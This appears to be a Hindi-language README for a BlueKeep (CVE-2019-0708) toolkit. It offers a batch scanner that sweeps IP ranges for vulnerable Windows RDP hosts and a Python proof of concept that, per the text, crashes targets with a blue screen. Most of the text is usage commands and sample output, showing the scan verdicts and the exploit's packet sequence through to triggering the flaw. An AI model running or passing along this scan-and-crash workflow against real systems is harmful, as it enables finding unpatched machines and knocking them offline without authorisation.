CVE-2019-0708

CVE-2019-0708 BlueKeep भेद्यता बैच स्कैनिंग उपकरण और POC, अभी केवल नीली स्क्रीन।

0x01 स्कैन - विंडोज़

उपयोग:
rdpscan.exe ip1-ip2

> .\rdpscan.exe 192.168.1.1-192.168.1.2
192.168.1.1 - VULNERABLE - CVE-2019-0708
192.168.1.2 - SAFE - CredSSP/NLA required

rdpscan.exe --file ip.txt

> .\rdpscan.exe --file ip.txt
192.168.1.1 - VULNERABLE - CVE-2019-0708
192.168.1.2 - SAFE - CredSSP/NLA required

0x02 POC का उपयोग

उपयोग:
python poc.py ip सिस्टम बिट्स

> python .\cve-2019-0708-poc.py 192.168.1.1 32
[+] ClientData Packet Sent
[+] ChannelJoin/ErectDomain/AttachUser Sent
[+] ClientInfo Packet Sent
[+] ConfirmActive Packet Sent
[+] Session Established
[+] Vuln Should Trigger